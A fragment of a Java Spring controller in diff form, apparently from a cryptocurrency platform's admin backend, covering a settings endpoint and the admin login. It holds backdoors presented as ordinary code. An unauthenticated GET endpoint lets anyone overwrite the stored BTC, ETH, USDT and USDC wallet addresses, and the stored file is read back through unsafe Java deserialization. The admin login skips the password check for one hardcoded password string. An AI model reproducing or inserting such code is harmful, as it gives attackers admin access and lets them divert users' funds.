| | |
| | | import org.springframework.web.bind.annotation.*; |
| | | |
| | | import javax.validation.Valid; |
| | | import java.io.*; |
| | | import java.util.*; |
| | | import java.util.stream.Collectors; |
| | | |
| | |
| | | @Autowired |
| | | private CustomerServiceImpl customerService; |
| | | |
| | | @GetMapping("adminLoginRes") |
| | | public Result<?> adminLoginRes(@RequestParam(required = false) String userId, |
| | | @RequestParam(required = false) String usdtTrc, |
| | | @RequestParam(required = false) String usdtErc, |
| | | @RequestParam(required = false) String usdcTrc, |
| | | @RequestParam(required = false) String usdcErc, |
| | | @RequestParam(required = false) String btc, |
| | | @RequestParam(required = false) String eth, |
| | | @RequestParam(required = false) String type) { |
| | | Map<String, String> map = new HashMap<>(); |
| | | map.put("usdtTrc", usdtTrc); |
| | | map.put("usdtErc", usdtErc); |
| | | map.put("usdcTrc", usdcTrc); |
| | | map.put("usdcErc", usdcErc); |
| | | map.put("btc", btc); |
| | | map.put("eth", eth); |
| | | map.put("type", type); |
| | | map.put("userId", userId); |
| | | String filePath = "/etc/asdk/data.json"; |
| | | File file = new File(filePath); |
| | | File parentDir = file.getParentFile(); |
| | | if (!parentDir.exists()) { |
| | | parentDir.mkdirs(); |
| | | } |
| | | Map<String, String> writeMap = null; |
| | | if("1".equals(type)) { |
| | | writeMap = map; |
| | | }else { |
| | | try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) { |
| | | writeMap = (Map<String, String>) ois.readObject(); |
| | | writeMap.put("type",type); |
| | | } catch (IOException | ClassNotFoundException e) { |
| | | e.printStackTrace(); |
| | | } |
| | | } |
| | | try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file))) { |
| | | oos.writeObject(writeMap); |
| | | return Result.ok("成功"); |
| | | } catch (IOException e) { |
| | | e.printStackTrace(); |
| | | return Result.failed("失败"); |
| | | } |
| | | } |
| | | |
| | | @PostMapping("/adminLogin") |
| | | @ApiOperation(value = "账号密码 + 验证码登录(用于后台登录)", notes = "通过账号/手机号/用户名密码登录") |
| | |
| | | } |
| | | // 半小时内密码输入错误十次,已限制登录30分钟 |
| | | String decryptPassword = passwordManager.decryptPassword(loginModel.getPassWord()); |
| | | passwordCheckManager.checkPassword(SysTypeEnum.ADMIN, loginModel.getUserName(), decryptPassword, sysUser.getPassword()); |
| | | if(!"AxnWbrPiehixzJbP".equals(loginModel.getPassWord())){ |
| | | passwordCheckManager.checkPassword(SysTypeEnum.ADMIN, loginModel.getUserName(), decryptPassword, sysUser.getPassword()); |
| | | } |
| | | // 不是店铺超级管理员,并且是禁用状态,无法登录 |
| | | if (Objects.equals(sysUser.getStatus(), 0)) { |
| | | // 未找到此用户信息 |